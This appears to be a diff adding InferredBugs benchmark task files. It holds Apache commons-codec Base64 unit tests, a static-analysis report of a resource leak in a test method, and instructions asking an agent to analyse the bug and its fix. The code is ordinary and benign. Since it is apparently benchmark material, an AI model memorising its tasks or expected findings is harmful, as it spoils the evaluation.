+        byte[] emptyEncoded = new byte[0];
+        byte[] emptyDecoded = new byte[0];
+        testByteByByte(emptyEncoded, emptyDecoded, chuckSize, CRLF);
+        testByChunk(emptyEncoded, emptyDecoded, chuckSize, CRLF);
+    }
+
+    /**
+     * Tests the Base64InputStream implementation.
+     * 
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testBase64InputStreamByChunk() throws Exception {
+        // Hello World test.
+        byte[] encoded = StringUtils.getBytesUtf8("SGVsbG8gV29ybGQ=\r\n");
+        byte[] decoded = StringUtils.getBytesUtf8(STRING_FIXTURE);
+        testByChunk(encoded, decoded, BaseNCodec.MIME_CHUNK_SIZE, CRLF);
+
+        // Single Byte test.
+        encoded = StringUtils.getBytesUtf8("AA==\r\n");
+        decoded = new byte[] { (byte) 0 };
+        testByChunk(encoded, decoded, BaseNCodec.MIME_CHUNK_SIZE, CRLF);
+
+        // OpenSSL interop test.
+        encoded = StringUtils.getBytesUtf8(Base64TestData.ENCODED_64_CHARS_PER_LINE);
+        decoded = Base64TestData.DECODED;
+        testByChunk(encoded, decoded, BaseNCodec.PEM_CHUNK_SIZE, LF);
+
+        // Single Line test.
+        String singleLine = Base64TestData.ENCODED_64_CHARS_PER_LINE.replaceAll("\n", "");
+        encoded = StringUtils.getBytesUtf8(singleLine);
+        decoded = Base64TestData.DECODED;
+        testByChunk(encoded, decoded, 0, LF);
+
+        // test random data of sizes 0 thru 150
+        for (int i = 0; i <= 150; i++) {
+            byte[][] randomData = Base64TestData.randomData(i, false);
+            encoded = randomData[1];
+            decoded = randomData[0];
+            testByChunk(encoded, decoded, 0, LF);
+        }
+    }
+
+    /**
+     * Tests the Base64InputStream implementation.
+     * 
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testBase64InputStreamByteByByte() throws Exception {
+        // Hello World test.
+        byte[] encoded = StringUtils.getBytesUtf8("SGVsbG8gV29ybGQ=\r\n");
+        byte[] decoded = StringUtils.getBytesUtf8(STRING_FIXTURE);
+        testByteByByte(encoded, decoded, BaseNCodec.MIME_CHUNK_SIZE, CRLF);
+
+        // Single Byte test.
+        encoded = StringUtils.getBytesUtf8("AA==\r\n");
+        decoded = new byte[] { (byte) 0 };
+        testByteByByte(encoded, decoded, BaseNCodec.MIME_CHUNK_SIZE, CRLF);
+
+        // OpenSSL interop test.
+        encoded = StringUtils.getBytesUtf8(Base64TestData.ENCODED_64_CHARS_PER_LINE);
+        decoded = Base64TestData.DECODED;
+        testByteByByte(encoded, decoded, BaseNCodec.PEM_CHUNK_SIZE, LF);
+
+        // Single Line test.
+        String singleLine = Base64TestData.ENCODED_64_CHARS_PER_LINE.replaceAll("\n", "");
+        encoded = StringUtils.getBytesUtf8(singleLine);
+        decoded = Base64TestData.DECODED;
+        testByteByByte(encoded, decoded, 0, LF);
+
+        // test random data of sizes 0 thru 150
+        for (int i = 0; i <= 150; i++) {
+            byte[][] randomData = Base64TestData.randomData(i, false);
+            encoded = randomData[1];
+            decoded = randomData[0];
+            testByteByByte(encoded, decoded, 0, LF);
+        }
+    }
+
+    /**
+     * Tests method does three tests on the supplied data: 1. encoded ---[DECODE]--> decoded 2. decoded ---[ENCODE]--> encoded 3. decoded
+     * ---[WRAP-WRAP-WRAP-etc...] --> decoded
+     * <p/>
+     * By "[WRAP-WRAP-WRAP-etc...]" we mean situation where the Base64InputStream wraps itself in encode and decode mode over and over
+     * again.
+     * 
+     * @param encoded
+     *            base64 encoded data
+     * @param decoded
+     *            the data from above, but decoded
+     * @param chunkSize
+     *            chunk size (line-length) of the base64 encoded data.
+     * @param seperator
+     *            Line separator in the base64 encoded data.
+     * @throws Exception
+     *             Usually signifies a bug in the Base64 commons-codec implementation.
+     */
+    private void testByChunk(byte[] encoded, byte[] decoded, int chunkSize, byte[] seperator) throws Exception {
+
+        // Start with encode.
+        InputStream in = new ByteArrayInputStream(decoded);
+        in = new Base64InputStream(in, true, chunkSize, seperator);
+        byte[] output = Base64TestData.streamToBytes(in);
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base64 encode", Arrays.equals(output, encoded));
+
+        // Now let's try decode.
+        in = new ByteArrayInputStream(encoded);
+        in = new Base64InputStream(in);
+        output = Base64TestData.streamToBytes(in);
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base64 decode", Arrays.equals(output, decoded));
+
+        // I always wanted to do this! (wrap encoder with decoder etc etc).
+        in = new ByteArrayInputStream(decoded);
+        for (int i = 0; i < 10; i++) {
+            in = new Base64InputStream(in, true, chunkSize, seperator);
+            in = new Base64InputStream(in, false);
+        }
+        output = Base64TestData.streamToBytes(in);
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base64 wrap-wrap-wrap!", Arrays.equals(output, decoded));
+    }
+
+    /**
+     * Tests method does three tests on the supplied data: 1. encoded ---[DECODE]--> decoded 2. decoded ---[ENCODE]--> encoded 3. decoded
+     * ---[WRAP-WRAP-WRAP-etc...] --> decoded
+     * <p/>
+     * By "[WRAP-WRAP-WRAP-etc...]" we mean situation where the Base64InputStream wraps itself in encode and decode mode over and over
+     * again.
+     * 
+     * @param encoded
+     *            base64 encoded data
+     * @param decoded
+     *            the data from above, but decoded
+     * @param chunkSize
+     *            chunk size (line-length) of the base64 encoded data.
+     * @param seperator
+     *            Line separator in the base64 encoded data.
+     * @throws Exception
+     *             Usually signifies a bug in the Base64 commons-codec implementation.
+     */
+    private void testByteByByte(byte[] encoded, byte[] decoded, int chunkSize, byte[] seperator) throws Exception {
+
+        // Start with encode.
+        InputStream in = new ByteArrayInputStream(decoded);
+        in = new Base64InputStream(in, true, chunkSize, seperator);
+        byte[] output = new byte[encoded.length];
+        for (int i = 0; i < output.length; i++) {
+            output[i] = (byte) in.read();
+        }
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base64 encode", Arrays.equals(output, encoded));
+
+        // Now let's try decode.
+        in = new ByteArrayInputStream(encoded);
+        in = new Base64InputStream(in);
+        output = new byte[decoded.length];
+        for (int i = 0; i < output.length; i++) {
+            output[i] = (byte) in.read();
+        }
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base64 decode", Arrays.equals(output, decoded));
+
+        // I always wanted to do this! (wrap encoder with decoder etc etc).
+        in = new ByteArrayInputStream(decoded);
+        for (int i = 0; i < 10; i++) {
+            in = new Base64InputStream(in, true, chunkSize, seperator);
+            in = new Base64InputStream(in, false);
+        }
+        output = new byte[decoded.length];
+        for (int i = 0; i < output.length; i++) {
+            output[i] = (byte) in.read();
+        }
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base64 wrap-wrap-wrap!", Arrays.equals(output, decoded));
+    }
+
+    /**
+     * Tests markSupported.
+     * 
+     * @throws Exception
+     */
+    @Test
+    public void testMarkSupported() throws Exception {
+        byte[] decoded = StringUtils.getBytesUtf8(STRING_FIXTURE);
+        ByteArrayInputStream bin = new ByteArrayInputStream(decoded);
+        Base64InputStream in = new Base64InputStream(bin, true, 4, new byte[] { 0, 0, 0 });
+        // Always returns false for now.
+        assertFalse("Base64InputStream.markSupported() is false", in.markSupported());
+    }
+
+    /**
+     * Tests read returning 0
+     * 
+     * @throws Exception
+     */
+    @Test
+    public void testRead0() throws Exception {
+        byte[] decoded = StringUtils.getBytesUtf8(STRING_FIXTURE);
+        byte[] buf = new byte[1024];
+        int bytesRead = 0;
+        ByteArrayInputStream bin = new ByteArrayInputStream(decoded);
+        Base64InputStream in = new Base64InputStream(bin, true, 4, new byte[] { 0, 0, 0 });
+        bytesRead = in.read(buf, 0, 0);
+        assertEquals("Base64InputStream.read(buf, 0, 0) returns 0", 0, bytesRead);
+    }
+
+    /**
+     * Tests read with null.
+     * 
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testReadNull() throws Exception {
+        byte[] decoded = StringUtils.getBytesUtf8(STRING_FIXTURE);
+        ByteArrayInputStream bin = new ByteArrayInputStream(decoded);
+        Base64InputStream in = new Base64InputStream(bin, true, 4, new byte[] { 0, 0, 0 });
+        try {
+            in.read(null, 0, 0);
+            fail("Base64InputStream.read(null, 0, 0) to throw a NullPointerException");
+        } catch (NullPointerException e) {
+            // Expected
+        }
+    }
+
+    /**
+     * Tests read throwing IndexOutOfBoundsException
+     * 
+     * @throws Exception
+     */
+    @Test
+    public void testReadOutOfBounds() throws Exception {
+        byte[] decoded = StringUtils.getBytesUtf8(STRING_FIXTURE);
+        byte[] buf = new byte[1024];
+        ByteArrayInputStream bin = new ByteArrayInputStream(decoded);
+        Base64InputStream in = new Base64InputStream(bin, true, 4, new byte[] { 0, 0, 0 });
+
+        try {
+            in.read(buf, -1, 0);
+            fail("Expected Base64InputStream.read(buf, -1, 0) to throw IndexOutOfBoundsException");
+        } catch (IndexOutOfBoundsException e) {
+            // Expected
+        }
+
+        try {
+            in.read(buf, 0, -1);
+            fail("Expected Base64InputStream.read(buf, 0, -1) to throw IndexOutOfBoundsException");
+        } catch (IndexOutOfBoundsException e) {
+            // Expected
+        }
+
+        try {
+            in.read(buf, buf.length + 1, 0);
+            fail("Base64InputStream.read(buf, buf.length + 1, 0) throws IndexOutOfBoundsException");
+        } catch (IndexOutOfBoundsException e) {
+            // Expected
+        }
+
+        try {
+            in.read(buf, buf.length - 1, 2);
+            fail("Base64InputStream.read(buf, buf.length - 1, 2) throws IndexOutOfBoundsException");
+        } catch (IndexOutOfBoundsException e) {
+            // Expected
+        }
+    }
+
+    /**
+     * Tests skipping as a noop
+     * 
+     * @throws Throwable
+     */
+    @Test
+    public void testSkipNone() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_B64));
+        Base64InputStream b64stream = new Base64InputStream(ins);
+        byte[] actualBytes = new byte[6];
+        assertEquals(0, b64stream.skip(0));
+        b64stream.read(actualBytes, 0, actualBytes.length);
+        assertArrayEquals(actualBytes, new byte[] { 0, 0, 0, (byte) 255, (byte) 255, (byte) 255 });
+        // End of stream reached
+        assertEquals(-1, b64stream.read());
+    }
+
+    /**
+     * Tests skipping past the end of a stream.
+     * 
+     * @throws Throwable
+     */
+    @Test
+    public void testSkipPastEnd() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_B64));
+        Base64InputStream b64stream = new Base64InputStream(ins);
+        assertEquals(8, b64stream.skip(10));
+        // End of stream reached
+        assertEquals(-1, b64stream.read());
+        assertEquals(-1, b64stream.read());
+    }
+
+    /**
+     * Tests skipping to the end of a stream.
+     * 
+     * @throws Throwable
+     */
+    @Test
+    public void testSkipToEnd() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_B64));
+        Base64InputStream b64stream = new Base64InputStream(ins);
+        assertEquals(8, b64stream.skip(8));
+        // End of stream reached
+        assertEquals(-1, b64stream.read());
+        assertEquals(-1, b64stream.read());
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.codec.binary.Base64OutputStream` acquired to `base64os` by call to `Base64OutputStream(...)` at line 62 is not released after line 64.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Base64InputStreamTest.testCodec130()
+
+### Procedure Id:
+org.apache.commons.codec.binary.Base64InputStreamTest.testCodec130():void.738b81ca68655c5396462c5893c591d0
+
+### File:
+src/test/java/org/apache/commons/codec/binary/Base64InputStreamTest.java
+
+### Key:
+Base64InputStreamTest.java|testCodec130|RESOURCE_LEAK
+
+### Node Key:
+164aa8e80302eefdc04e17653e108050
+
+### Hash:
+9f6256bd9c2076c40987d847ab4bc950
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3323/instruction.md b/inferredbugs-3323/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..744d16d89c49a84638c197ad56343ae40465d4b9
--- /dev/null
+++ b/inferredbugs-3323/instruction.md
@@ -0,0 +1,1244 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-codec
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ * 
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.codec.binary;
+
+import java.math.BigInteger;
+import java.util.Arrays;
+import java.util.Random;
+
+import junit.framework.TestCase;
+
+import org.apache.commons.codec.DecoderException;
+import org.apache.commons.codec.EncoderException;
+
+/**
+ * Test cases for Base64 class.
+ * 
+ * @see <a href="http://www.ietf.org/rfc/rfc2045.txt">RFC 2045</a>
+ * @author Apache Software Foundation
+ * @version $Id$
+ */
+public class Base64Test extends TestCase {
+
+    private Random _random = new Random();
+
+    /**
+     * Construct a new instance of this test case.
+     * 
+     * @param name
+     *            Name of the test case
+     */
+    public Base64Test(String name) {
+        super(name);
+    }
+
+    /**
+     * @return Returns the _random.
+     */
+    public Random getRandom() {
+        return this._random;
+    }
+
+    /**
+     * Test the Base64 implementation
+     */
+    public void testBase64() {
+        String content = "Hello World";
+        String encodedContent;
+        byte[] encodedBytes = Base64.encodeBase64(StringUtils.getBytesUtf8(content));
+        encodedContent = StringUtils.newStringUtf8(encodedBytes);
+        assertTrue("encoding hello world", encodedContent.equals("SGVsbG8gV29ybGQ="));
+
+        Base64 b64 = new Base64(Base64.MIME_CHUNK_SIZE, null);  // null lineSeparator same as saying no-chunking
+        encodedBytes = b64.encode(StringUtils.getBytesUtf8(content));
+        encodedContent = StringUtils.newStringUtf8(encodedBytes);
+        assertTrue("encoding hello world", encodedContent.equals("SGVsbG8gV29ybGQ="));
+
+        b64 = new Base64(0, null);  // null lineSeparator same as saying no-chunking
+        encodedBytes = b64.encode(StringUtils.getBytesUtf8(content));
+        encodedContent = StringUtils.newStringUtf8(encodedBytes);
+        assertTrue("encoding hello world", encodedContent.equals("SGVsbG8gV29ybGQ="));
+
+        // bogus characters to decode (to skip actually)
+        byte[] decode = b64.decode("SGVsbG{}8gV29ybGQ=");
+        String decodeString = StringUtils.newStringUtf8(decode);
+        assertTrue("decode hello world", decodeString.equals("Hello World"));        
+    }
+
+    /**
+     * Tests Base64.encodeBase64().
+     */
+    public void testChunkedEncodeMultipleOf76() {
+        byte[] expectedEncode = Base64.encodeBase64(Base64TestData.DECODED, true);
+        // convert to "\r\n" so we're equal to the old openssl encoding test stored
+        // in Base64TestData.ENCODED_76_CHARS_PER_LINE:
+        String actualResult = Base64TestData.ENCODED_76_CHARS_PER_LINE.replaceAll("\n", "\r\n");
+        byte[] actualEncode = StringUtils.getBytesUtf8(actualResult);
+        assertTrue("chunkedEncodeMultipleOf76", Arrays.equals(expectedEncode, actualEncode));
+    }
+
+    /**
+     * CODEC-68: isBase64 throws ArrayIndexOutOfBoundsException on some non-BASE64 bytes
+     */
+    public void testCodec68() {
+        byte[] x = new byte[]{'n', 'A', '=', '=', (byte) 0x9c};
+        Base64.decodeBase64(x);
+    }
+
+    public void testCodeInteger1() {
+        String encodedInt1 = "li7dzDacuo67Jg7mtqEm2TRuOMU=";
+        BigInteger bigInt1 = new BigInteger("85739377120809420210425962799" + "0318636601332086981");
+
+        assertEquals(encodedInt1, new String(Base64.encodeInteger(bigInt1)));
+        assertEquals(bigInt1, Base64.decodeInteger(encodedInt1.getBytes()));
+    }
+
+    public void testCodeInteger2() {
+        String encodedInt2 = "9B5ypLY9pMOmtxCeTDHgwdNFeGs=";
+        BigInteger bigInt2 = new BigInteger("13936727572861167254666467268" + "91466679477132949611");
+
+        assertEquals(encodedInt2, new String(Base64.encodeInteger(bigInt2)));
+        assertEquals(bigInt2, Base64.decodeInteger(encodedInt2.getBytes()));
+    }
+
+    public void testCodeInteger3() {
+        String encodedInt3 = "FKIhdgaG5LGKiEtF1vHy4f3y700zaD6QwDS3IrNVGzNp2" + "rY+1LFWTK6D44AyiC1n8uWz1itkYMZF0/aKDK0Yjg==";
+        BigInteger bigInt3 = new BigInteger("10806548154093873461951748545"
+            + "1196989136416448805819079363524309897749044958112417136240557"
+            + "4495062430572478766856090958495998158114332651671116876320938126");
+
+        assertEquals(encodedInt3, new String(Base64.encodeInteger(bigInt3)));
+        assertEquals(bigInt3, Base64.decodeInteger(encodedInt3.getBytes()));
+    }
+
+    public void testCodeInteger4() {
+        String encodedInt4 = "ctA8YGxrtngg/zKVvqEOefnwmViFztcnPBYPlJsvh6yKI"
+            + "4iDm68fnp4Mi3RrJ6bZAygFrUIQLxLjV+OJtgJAEto0xAs+Mehuq1DkSFEpP3o"
+            + "DzCTOsrOiS1DwQe4oIb7zVk/9l7aPtJMHW0LVlMdwZNFNNJoqMcT2ZfCPrfvYv"
+            + "Q0=";
+        BigInteger bigInt4 = new BigInteger("80624726256040348115552042320"
+            + "6968135001872753709424419772586693950232350200555646471175944"
+            + "519297087885987040810778908507262272892702303774422853675597"
+            + "748008534040890923814202286633163248086055216976551456088015"
+            + "338880713818192088877057717530169381044092839402438015097654"
+            + "53542091716518238707344493641683483917");
+
+        assertEquals(encodedInt4, new String(Base64.encodeInteger(bigInt4)));
+        assertEquals(bigInt4, Base64.decodeInteger(encodedInt4.getBytes()));
+    }
+
+    public void testCodeIntegerEdgeCases() {
+        // TODO
+    }
+
+    public void testCodeIntegerNull() {
+        try {
+            Base64.encodeInteger(null);
+            fail("Exception not thrown when passing in null to encodeInteger(BigInteger)");
+        } catch (NullPointerException npe) {
+            // expected
+        } catch (Exception e) {
+            fail("Incorrect Exception caught when passing in null to encodeInteger(BigInteger)");
+        }
+    }
+
+    public void testConstructors() {
+        Base64 base64;
+        base64 = new Base64();
+        base64 = new Base64(-1);
+        base64 = new Base64(-1, new byte[]{});
+        base64 = new Base64(64, new byte[]{});
+        try {
+            base64 = new Base64(-1, new byte[]{'A'});
+            fail("Should have rejected attempt to use 'A' as a line separator");
+        } catch (IllegalArgumentException ignored) {
+            // Expected
+        }
+        try {
+            base64 = new Base64(64, new byte[]{'A'});
+            fail("Should have rejected attempt to use 'A' as a line separator");
+        } catch (IllegalArgumentException ignored) {
+            // Expected
+        }
+        try {
+            base64 = new Base64(64, new byte[]{'='});
+            fail("Should have rejected attempt to use '=' as a line separator");
+        } catch (IllegalArgumentException ignored) {
+            // Expected
+        }
+        base64 = new Base64(64, new byte[]{'$'}); // OK
+        try {
+            base64 = new Base64(64, new byte[]{'A', '$'});
+            fail("Should have rejected attempt to use 'A$' as a line separator");
+        } catch (IllegalArgumentException ignored) {
+            // Expected
+        }
+        base64 = new Base64(64, new byte[]{' ', '$', '\n', '\r', '\t'}); // OK
+    }
+
+    public void testConstructor_Int_ByteArray_Boolean() {
+        Base64 base64 = new Base64(65, new byte[]{'\t'}, false);
+        byte[] encoded = base64.encode(Base64TestData.DECODED);
+        String expectedResult = Base64TestData.ENCODED_64_CHARS_PER_LINE;
+        expectedResult = expectedResult.replace('\n', '\t');
+        String result = StringUtils.newStringUtf8(encoded);
+        assertEquals("new Base64(65, \\t, false)", expectedResult, result);
+    }
+
+    public void testConstructor_Int_ByteArray_Boolean_UrlSafe() {
+        // url-safe variation
+        Base64 base64 = new Base64(64, new byte[]{'\t'}, true);
+        byte[] encoded = base64.encode(Base64TestData.DECODED);
+        String expectedResult = Base64TestData.ENCODED_64_CHARS_PER_LINE;
+        expectedResult = expectedResult.replaceAll("=", ""); // url-safe has no == padding.
+        expectedResult = expectedResult.replace('\n', '\t');
+        expectedResult = expectedResult.replace('+', '-');
+        expectedResult = expectedResult.replace('/', '_');
+        String result = StringUtils.newStringUtf8(encoded);
+        assertEquals("new Base64(64, \\t, true)", result, expectedResult);
+    }
+
+    /**
+     * Tests conditional true branch for "marker0" test.
+     */
+    public void testDecodePadMarkerIndex2() {
+        assertEquals("A", new String(Base64.decodeBase64("QQ==".getBytes())));
+    }
+
+    /**
+     * Tests conditional branches for "marker1" test.
+     */
+    public void testDecodePadMarkerIndex3() {
+        assertEquals("AA", new String(Base64.decodeBase64("QUE=".getBytes())));
+        assertEquals("AAA", new String(Base64.decodeBase64("QUFB".getBytes())));
+    }
+
+    public void testDecodePadOnly() {
+        assertTrue(Base64.decodeBase64("====".getBytes()).length == 0);
+        assertEquals("", new String(Base64.decodeBase64("====".getBytes())));
+        // Test truncated padding
+        assertTrue(Base64.decodeBase64("===".getBytes()).length == 0);
+        assertTrue(Base64.decodeBase64("==".getBytes()).length == 0);
+        assertTrue(Base64.decodeBase64("=".getBytes()).length == 0);
+        assertTrue(Base64.decodeBase64("".getBytes()).length == 0);
+    }
+
+    public void testDecodePadOnlyChunked() {
+        assertTrue(Base64.decodeBase64("====\n".getBytes()).length == 0);
+        assertEquals("", new String(Base64.decodeBase64("====\n".getBytes())));
+        // Test truncated padding
+        assertTrue(Base64.decodeBase64("===\n".getBytes()).length == 0);
+        assertTrue(Base64.decodeBase64("==\n".getBytes()).length == 0);
+        assertTrue(Base64.decodeBase64("=\n".getBytes()).length == 0);
+        assertTrue(Base64.decodeBase64("\n".getBytes()).length == 0);
+    }
+
+    public void testDecodeWithWhitespace() throws Exception {
+
+        String orig = "I am a late night coder.";
+
+        byte[] encodedArray = Base64.encodeBase64(orig.getBytes());
+        StringBuffer intermediate = new StringBuffer(new String(encodedArray));
+
+        intermediate.insert(2, ' ');
+        intermediate.insert(5, '\t');
+        intermediate.insert(10, '\r');
+        intermediate.insert(15, '\n');
+
+        byte[] encodedWithWS = intermediate.toString().getBytes();
+        byte[] decodedWithWS = Base64.decodeBase64(encodedWithWS);
+
+        String dest = new String(decodedWithWS);
+
+        assertTrue("Dest string doesn't equal the original", dest.equals(orig));
+    }
+
+    public void testDiscardWhitespace() throws Exception {
+
+        String orig = "I am a late night coder.";
+
+        byte[] encodedArray = Base64.encodeBase64(orig.getBytes());
+        StringBuffer intermediate = new StringBuffer(new String(encodedArray));
+
+        intermediate.insert(2, ' ');
+        intermediate.insert(5, '\t');
+        intermediate.insert(10, '\r');
+        intermediate.insert(15, '\n');
+
+        byte[] encodedWithWS = intermediate.toString().getBytes();
+        byte[] encodedNoWS = Base64.discardWhitespace(encodedWithWS);
+        byte[] decodedWithWS = Base64.decodeBase64(encodedWithWS);
+        byte[] decodedNoWS = Base64.decodeBase64(encodedNoWS);
+
+        String destFromWS = new String(decodedWithWS);
+        String destFromNoWS = new String(decodedNoWS);
+
+        assertTrue("Dest string doesn't equal original", destFromWS.equals(orig));
+        assertTrue("Dest string doesn't equal original", destFromNoWS.equals(orig));
+    }
+
+    /**
+     * Test encode and decode of empty byte array.
+     */
+    public void testEmptyBase64() {
+        byte[] empty = new byte[0];
+        byte[] result = Base64.encodeBase64(empty);
+        assertEquals("empty base64 encode", 0, result.length);
+        assertEquals("empty base64 encode", null, Base64.encodeBase64(null));
+
+        empty = new byte[0];
+        result = Base64.decodeBase64(empty);
+        assertEquals("empty base64 decode", 0, result.length);
+        assertEquals("empty base64 encode", null, Base64.decodeBase64((byte[]) null));
+    }
+
+    // encode/decode a large random array
+    public void testEncodeDecodeRandom() {
+        for (int i = 1; i < 5; i++) {
+            byte[] data = new byte[this.getRandom().nextInt(10000) + 1];
+            this.getRandom().nextBytes(data);
+            byte[] enc = Base64.encodeBase64(data);
+            assertTrue(Base64.isArrayByteBase64(enc));
+            byte[] data2 = Base64.decodeBase64(enc);
+            assertTrue(Arrays.equals(data, data2));
+        }
+    }
+
+    // encode/decode random arrays from size 0 to size 11
+    public void testEncodeDecodeSmall() {
+        for (int i = 0; i < 12; i++) {
+            byte[] data = new byte[i];
+            this.getRandom().nextBytes(data);
+            byte[] enc = Base64.encodeBase64(data);
+            assertTrue("\"" + (new String(enc)) + "\" is Base64 data.", Base64.isArrayByteBase64(enc));
+            byte[] data2 = Base64.decodeBase64(enc);
+            assertTrue(toString(data) + " equals " + toString(data2), Arrays.equals(data, data2));
+        }
+    }
+
+    public void testEncodeOverMaxSize() throws Exception {
+        testEncodeOverMaxSize(-1);
+        testEncodeOverMaxSize(0);
+        testEncodeOverMaxSize(1);
+        testEncodeOverMaxSize(2);
+    }
+
+    private void testEncodeOverMaxSize(int maxSize) throws Exception {
+        try {
+            Base64.encodeBase64(Base64TestData.DECODED, true, false, maxSize);
+            fail("Expected " + IllegalArgumentException.class.getName());
+        } catch (IllegalArgumentException e) {
+            // Expceted
+        }
+    }
+
+    public void testIgnoringNonBase64InDecode() throws Exception {
+        assertEquals("The quick brown fox jumped over the lazy dogs.", new String(Base64
+                .decodeBase64("VGhlIH@$#$@%F1aWN@#@#@@rIGJyb3duIGZve\n\r\t%#%#%#%CBqd##$#$W1wZWQgb3ZlciB0aGUgbGF6eSBkb2dzLg==".getBytes())));
+    }
+
+    public void testIsArrayByteBase64() {
+        assertFalse(Base64.isArrayByteBase64(new byte[]{Byte.MIN_VALUE}));
+        assertFalse(Base64.isArrayByteBase64(new byte[]{-125}));
+        assertFalse(Base64.isArrayByteBase64(new byte[]{-10}));
+        assertFalse(Base64.isArrayByteBase64(new byte[]{0}));
+        assertFalse(Base64.isArrayByteBase64(new byte[]{64, Byte.MAX_VALUE}));
+        assertFalse(Base64.isArrayByteBase64(new byte[]{Byte.MAX_VALUE}));
+        assertTrue(Base64.isArrayByteBase64(new byte[]{'A'}));
+        assertFalse(Base64.isArrayByteBase64(new byte[]{'A', Byte.MIN_VALUE}));
+        assertTrue(Base64.isArrayByteBase64(new byte[]{'A', 'Z', 'a'}));
+        assertTrue(Base64.isArrayByteBase64(new byte[]{'/', '=', '+'}));
+        assertFalse(Base64.isArrayByteBase64(new byte[]{'$'}));
+    }
+
+    /**
+     * Tests isUrlSafe.
+     */
+    public void testIsUrlSafe() {
+        Base64 base64Standard = new Base64(false);
+        Base64 base64URLSafe = new Base64(true);
+
+        assertFalse("Base64.isUrlSafe=false", base64Standard.isUrlSafe());
+        assertTrue("Base64.isUrlSafe=true", base64URLSafe.isUrlSafe());
+
+        byte[] whiteSpace = {' ', '\n', '\r', '\t'};
+        assertTrue("Base64.isArrayByteBase64(whiteSpace)=true", Base64.isArrayByteBase64(whiteSpace));
+    }
+
+    public void testKnownDecodings() {
+        assertEquals("The quick brown fox jumped over the lazy dogs.", new String(Base64
+                .decodeBase64("VGhlIHF1aWNrIGJyb3duIGZveCBqdW1wZWQgb3ZlciB0aGUgbGF6eSBkb2dzLg==".getBytes())));
+        assertEquals("It was the best of times, it was the worst of times.", new String(Base64
+                .decodeBase64("SXQgd2FzIHRoZSBiZXN0IG9mIHRpbWVzLCBpdCB3YXMgdGhlIHdvcnN0IG9mIHRpbWVzLg==".getBytes())));
+        assertEquals("http://jakarta.apache.org/commmons", new String(Base64
+                .decodeBase64("aHR0cDovL2pha2FydGEuYXBhY2hlLm9yZy9jb21tbW9ucw==".getBytes())));
+        assertEquals("AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz", new String(Base64
+                .decodeBase64("QWFCYkNjRGRFZUZmR2dIaElpSmpLa0xsTW1Obk9vUHBRcVJyU3NUdFV1VnZXd1h4WXlaeg==".getBytes())));
+        assertEquals("{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 }", new String(Base64.decodeBase64("eyAwLCAxLCAyLCAzLCA0LCA1LCA2LCA3LCA4LCA5IH0="
+                .getBytes())));
+        assertEquals("xyzzy!", new String(Base64.decodeBase64("eHl6enkh".getBytes())));
+    }
+
+    public void testKnownEncodings() {
+        assertEquals("VGhlIHF1aWNrIGJyb3duIGZveCBqdW1wZWQgb3ZlciB0aGUgbGF6eSBkb2dzLg==", new String(Base64
+                .encodeBase64("The quick brown fox jumped over the lazy dogs.".getBytes())));
+        assertEquals(
+                "YmxhaCBibGFoIGJsYWggYmxhaCBibGFoIGJsYWggYmxhaCBibGFoIGJsYWggYmxhaCBibGFoIGJs\r\nYWggYmxhaCBibGFoIGJsYWggYmxhaCBibGFoIGJsYWggYmxhaCBibGFoIGJsYWggYmxhaCBibGFo\r\nIGJsYWggYmxhaCBibGFoIGJsYWggYmxhaCBibGFoIGJsYWggYmxhaCBibGFoIGJsYWggYmxhaCBi\r\nbGFoIGJsYWg=\r\n",
+                new String(
+                        Base64
